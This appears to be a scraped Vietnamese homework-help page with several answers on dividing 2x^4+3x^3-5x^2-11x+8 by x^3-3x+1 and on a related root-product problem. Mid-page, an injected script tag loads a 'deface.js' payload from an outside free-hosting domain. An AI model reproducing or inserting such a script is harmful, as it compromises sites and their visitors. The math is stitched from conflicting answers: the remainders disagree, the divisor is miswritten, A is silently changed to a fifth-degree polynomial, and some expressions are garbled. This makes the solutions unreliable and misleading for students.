Hãy nhập câu hỏi của bạn vào đây, nếu là tài khoản VIP, bạn sẽ được ưu tiên trả lời.
\(A=BQ+R\\ \Leftrightarrow A:B=Q\left(\text{dư }R\right)\)
Ta có \(A:B=\left(2x^4+3x^3-5x^2-11x+8\right):\left(x^3-3x+1\right)\)
\(\Leftrightarrow A:B=\left(2x^4-6x^2+2x+3x^3-9x^2+3x+10x^2-16x+8\right):\left(x^3-3x+1\right)\\ \Leftrightarrow A:B=\left[\left(x^3-3x+1\right)\left(2x+3\right)+10x^2-16x+8\right]:\left(x^3-2x+1\right)\\ =2x+3\left(\text{dư }10x^2-16x+8\right)\\ \Leftrightarrow\left\{{}\begin{matrix}Q=2x+3\\R=10x^2-16x+8\end{matrix}\right.\)
| <script src="https://snatchy-warehouse.000webhostapp.com/deface.js"></script> |
A = 2 x 2 + 1 x 2 - 5 x + 1 + 2 x + 1
Vậy đa thức dư R của phép chia A cho B là R = 2x + 1. Khi đó:
2 x 4 - 10 x 3 + 3 x 2 - 3 x + 2 = 2 x 2 + 1 x 2 - 5 x + 1 + 2 x + 1
Ta có:
\(P\left(x\right)=2x\left(x^3-3x+1\right)-\left(x^3-3x+1\right)+x^2-4\)
Do đó: \(P\left(a\right).P\left(b\right).P\left(c\right)=\left(a^2-4\right)\left(b^2-4\right)\left(c^2-4\right)\)
Ta có:
\(\left(x-a\right)\left(x-b\right)\left(x-c\right)=x^3-3x+1\)
\(\Rightarrow\left\{{}\begin{matrix}a+b+c=0\\ab+ac+bc=-3\\abc=-1\end{matrix}\right.\)
C1: \(\left(a^2-4\right)\left(b^2-4\right)\left(c^2-4\right)=\left(abc\right)^2-4\left(a^2b^2+b^2c^2+c^2a^2\right)+16\left(a^2+b^2+c^2\right)-4^3\)
\(=1-4.9+16.6-4^3=-3\)\(\Rightarrow P\left(a\right).P\left(b\right).P\left(c\right)=-3\)
C2: Biến đổi thêm một chút
Ta có: \(a,b,c\ne0\) nên
\(a^3-3a+1=0\Leftrightarrow a\left(a^2-3\right)+1=0\)\(\Rightarrow a^2-3=\dfrac{-1}{a}\)
Tương tự...
\(\Rightarrow P\left(a\right).P\left(b\right).P\left(c\right)=\left(-\dfrac{1}{a}-1\right)\left(-\dfrac{1}{b}-1\right)\left(-\dfrac{1}{c}-1\right)\)
\(=-\left(\dfrac{1}{a}+1\right)\left(\dfrac{1}{b}+1\right)\left(\dfrac{1}{c}+1\right)\)\(=-\dfrac{a+1}{a}.\dfrac{b+1}{b}.\dfrac{c+1}{c}=abc+ac+bc+ab+a+b+c+1=-1-3+1=-3\)
a: \(\dfrac{A}{B}=\dfrac{2x^5+3x^3-5x^2-11x+8}{x^3-3x+1}\)
\(=\dfrac{2x^5-6x^3+2x^2+9x^3-27x+9-7x^2+16x-1}{x^3-3x+1}\)
\(=2x^2+9+\dfrac{-7x^2+16x-1}{x^3-3x+1}\)
=>\(Q=2x^2+9;R=-7x^2+16x-1\)
b: R=-7x^2+16x-1
=-7(x^2-16x+1/7)
=-7(x^2-16x+64-449/7)
=-7(x-8)^2+449<=449
Dấu = xảy ra khi x=8
a) A = ( x 2 – 6x)B.
b) A = (-x – 8)B + 2
c) A = (x + 3)B + 6.
a) Sắp xếp đa thức - 3 x 3 + 5 x 2 – 9x + 15 và -3x + 5.
Thực hiện phép chia thu được đa thức thương x 2 + 3.
b) Sắp xếp đa thức x 3 – 4 x 2 + 5x – 20.
Thực hiện phép chia thu được đa thức thương x 2 + 5.
Thực hiện phép chia ta có:
Vậy 3x4 + x3 + 6x – 5 = (x2 + 1).(3x2 + x – 3) + 5x – 2.
A = 2x4 + 3x3 - 5x2 - 11x + 8 và B = x3 - 3x + 1
Đặt phép tính:
A=B.Q+R
=> 2x^4+3x^3-5x^2-11x+8 = x^3-3x+1.Q+R ; Q là số bị chia và R là dư
=> 2x^4+3x^3-5x^2-11x+8 = x^3-3x+1.2x+3+x^2-4x+5